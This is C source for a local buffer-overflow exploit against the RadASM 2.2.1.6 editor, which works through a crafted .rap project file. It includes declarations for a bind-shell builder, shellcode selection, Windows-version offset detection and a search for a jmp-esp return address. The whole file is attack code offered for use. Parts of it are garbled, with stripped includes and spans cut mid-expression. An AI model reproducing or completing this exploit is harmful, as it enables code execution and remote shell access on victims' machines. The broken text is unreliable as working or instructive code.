#include #include #include void gen_random(char*,const int); void print(char*); unsigned int getFsize(FILE*,char*); void buildfile(char*); int make_bindshell(unsigned short); void help(); void printshell(); DWORD SearchStream(const char *,size_t,const char *,size_t); DWORD GetNtosDelta (VOID); DWORD GetOSVersion (VOID); DWORD FindRetToEspAddress(VOID); #define VULNF "ufwew.rap" #define VER "2.2.1.6" #define POCNAME "Radasm .rap file local buffer overflow exploit" #define AUTHOR "fl0 fl0w" #define IF(x,NULL) if(x==NULL) #define FOR(i,a,b) for(i=a;i] [-t] *\n" "* -s shellcode to run 0 or 1 *\n" "* -t your target *\n" "* example: radasm.exe -s 0 -t 0xFFFFFFFF *\n" "* If you want a retcode default from your *\n" "* memory don't use -t option *\n" "************************************************\n"; printf("%s",h);} void printshell() { print("We can use:"); int i; FOR(i,0,2){ printf("[!] %d. %s of size: %d bytes\n",i,use[i].sname,strlen(use[i].shell)); } } DWORD GetOSVersion (VOID) { OSVERSIONINFOA osvi; DWORD retval = 0; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if(GetVersionExA(&osvi)) { if(osvi.dwMajorVersion==5) { switch(osvi.dwMinorVersion) { case 0: retval=OS_W2K; break; case 1: retval=OS_WXP; break; case 2: retval=OS_W2K3; break; } } else if(osvi.dwMajorVersion==6) {retval=OS_VISTA; } } g_dwOsVersion=retval; return retval; } DWORD GetNtosDelta (VOID) { DWORD retval = 0; switch(GetOSVersion()) { case OS_VISTA: print("System identified as Windows Vista\n"); retval=WVISTA_DELTA; break; case OS_W2K: print("System identified as Windows 2000\n"); retval=W2K_DELTA; break; case OS_W2K3: print("System identified as Windows 2003\n"); retval=W2K3_DELTA; break; case OS_WXP: print("System identified as Windows XP\n"); retval=WXP_DELTA; break; default: print("Unidentified system!\n"); } return retval; } DWORD SearchStream( const char *pvStream, size_t uStreamSize, const char *pvSubStream, size_t uSubStreamSize) {unsigned int uCount = 0,i,j; while( (uStreamSize) > (uCount) ) { for(i=0;i<=(uSubStreamSize-1);i++) { if(*pvStream != pvSubStream[i]) { *pvStream++; if( i>0 ) { for(j=0;je_lfanew); dwEspRet = SearchStream((char*)hModule,pimage_nt_headers->OptionalHeader.SizeOfImage,pszCallEsp,sizeof(WORD)); return (dwEspRet += (DWORD)hModule); } unsigned int getFsize(FILE* g,char* gname) {unsigned int s; g=fopen(gname,"rb"); IF(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s;} void print(char* msg) { printf("[*]%s\n",msg); } void gen_random(char *s, const int len) { int i; //helps u find the offsets static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; }